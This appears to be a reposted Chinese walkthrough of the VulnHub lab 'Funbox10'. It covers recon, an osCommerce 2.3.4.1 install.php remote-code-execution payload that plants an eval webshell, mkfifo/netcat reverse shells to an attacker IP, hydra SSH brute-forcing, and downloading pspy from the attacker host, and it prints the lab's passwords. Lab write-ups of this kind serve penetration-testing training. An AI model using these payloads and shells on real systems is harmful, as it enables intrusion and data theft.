当前位置: 首页 > news >正文

VulnHub:funbox10

Funbox: Under Construction靶机下载地址

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标机ip:192.168.31.197

端口扫描

扫描目标机开放端口。

nmap 192.168.31.197 -A -p- -T4

目标机开放端口有:22,25,80,110,143。

目录扫描

访问80端口的http服务,没什么线索。

进一步信息收集,目录扫描。

dirsearch -u http://192.168.31.197

访问/catalog,整个页面最重要的信息是:osCommerce v2.3.4.1

漏洞利用

osCommerce是一套国际著名的开源免费的电子商务系统,运行于PHP+MySQL服务器环境。而该站点使用的osCommerce v2.3.4.1版本存在远程代码执行漏洞。

payload:
http://192.168.31.197/catalog/install/install.php?step=4
post:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');@eval($_POST['cmd']);/*

使用蚁剑连接(http://192.168.31.197/catalog/install/includes/configure.php)。成功getshell。

在configure.php.bak中找到数据库用户名及密码。

用户名:jack

密码:yellow

接下来蚁剑能进行的操作就很少了,需要想办法反弹shell到攻击机中。测试多种反弹方式,只有下面两种可行。(第二种反弹方式会出现su: must be run from a terminal问题,解决方法后面展示)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.218 7777 >/tmp/f
# or 
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f

成功反弹。

也可以通过searchsploit搜索漏洞exp。searchsploit osCommerce选择适合的exp。

这里我使用的是第二个exp。

searchsploit -m 50128.py
python3 50128.py http://192.168.31.197/catalog

成功,然后反弹shell(上面两种二选一)。原理都是一样的,使用现成的exp更方便。

切换到家目录,发现存在四个用户,当前权限过低(www-data)无法访问相关目录。

尝试远程登录ssh服务。在前面得到了jack的密码,使用jack用户远程登录ssh发现密码错误(这里不太明白设置jack用户的意义)。密码错误,用hydra爆破jack用户密码,没成功。其余三个用户也分别用hydra爆破一下。

hydra -l username -P /usr/share/wordlists/nmap.lst ssh://192.168.31.197

最终只有susan用户,爆破得到密码shadow。

susan远程登录ssh服务器,user.txt内容如下。

提权

尝试常见几种提权方式无果后,上传pspy64(pspy可以在没有root权限的情况实时监控linux进程和其他用户的计划任务)到目标机。pspy64下载地址

# 攻击机在pspy64目录下开启http服务
python3 -m http.server 8989
# 目标机下载
wget http://192.168.31.218:8989/pspy64
chmod 777 pspy64
./pspy64

根据运行结果,发现一个计划任务,每分钟都会执行,可以向这个cron.sh写入反弹shell。

看一下cron.sh代码内容:

cat /usr/share/doc/examples/cron.sh

base64解码工具解一下,发现这里直接告诉了我们root用户的密码,并不需要写入反弹shell的方式来提权。

用户名:root

密码:rfvbgt!!

切换到root用户。su root,提示su: must be run from a terminal,提示需要在终端中执行,很疑惑我这不是在交互式shell里吗?

多次测试发现由于我使用的是rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f这种反弹方式(即上面的第二种)才会出现这种情况,百度得知解决方法:用python调用本地的shell

python -c 'import pty;pty.spawn("/bin/bash")'

成功切换至root权限。

get flag🎆

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 日常开发记录分享-SQL中的partition分区功能使用
  • 前端渲染模式
  • SSRF (服务端请求伪造)
  • Java的@DateTimeFormat注解与@JsonFormat注解的使用对比
  • 微服务-MybatisPlus下
  • vue3双向绑定的原理
  • Sping项目只能勾选17和21 (已解决) 导致的后续Invalid bound statement (not found):
  • 壹佰全家桶全应用源码在线更新升级
  • Redis快速入门基础
  • springboot集成mybatis时,dao层的mapper类需要添加@Repository注解吗?
  • C++树形结构(3 树的中心、重心)
  • Keil5软件仿真error65报错解决
  • 【Vulnhub系列】Vulnhub_SecureCode1靶场渗透(原创)
  • AJAX之原理
  • Chiplet SPI User Guide 详细解读
  • 【笔记】你不知道的JS读书笔记——Promise
  • 【翻译】babel对TC39装饰器草案的实现
  • 03Go 类型总结
  • 0x05 Python数据分析,Anaconda八斩刀
  • canvas 五子棋游戏
  • golang中接口赋值与方法集
  • JavaScript DOM 10 - 滚动
  • java正则表式的使用
  • JS进阶 - JS 、JS-Web-API与DOM、BOM
  • JS字符串转数字方法总结
  • npx命令介绍
  • Swift 中的尾递归和蹦床
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • Vue.js源码(2):初探List Rendering
  • Xmanager 远程桌面 CentOS 7
  • 干货 | 以太坊Mist负责人教你建立无服务器应用
  • 京东美团研发面经
  • 买一台 iPhone X,还是创建一家未来的独角兽?
  • 使用parted解决大于2T的磁盘分区
  • 微信小程序开发问题汇总
  • 我看到的前端
  • 小程序开发中的那些坑
  • 验证码识别技术——15分钟带你突破各种复杂不定长验证码
  • 再谈express与koa的对比
  • ​无人机石油管道巡检方案新亮点:灵活准确又高效
  • #DBA杂记1
  • (C++20) consteval立即函数
  • (C语言)字符分类函数
  • (DenseNet)Densely Connected Convolutional Networks--Gao Huang
  • (LeetCode) T14. Longest Common Prefix
  • (M)unity2D敌人的创建、人物属性设置,遇敌掉血
  • (ZT)一个美国文科博士的YardLife
  • (二)原生js案例之数码时钟计时
  • (附源码)spring boot基于Java的电影院售票与管理系统毕业设计 011449
  • (附源码)SSM环卫人员管理平台 计算机毕设36412
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (全部习题答案)研究生英语读写教程基础级教师用书PDF|| 研究生英语读写教程提高级教师用书PDF
  • (最完美)小米手机6X的Usb调试模式在哪里打开的流程
  • .NET MVC之AOP
  • .NET 材料检测系统崩溃分析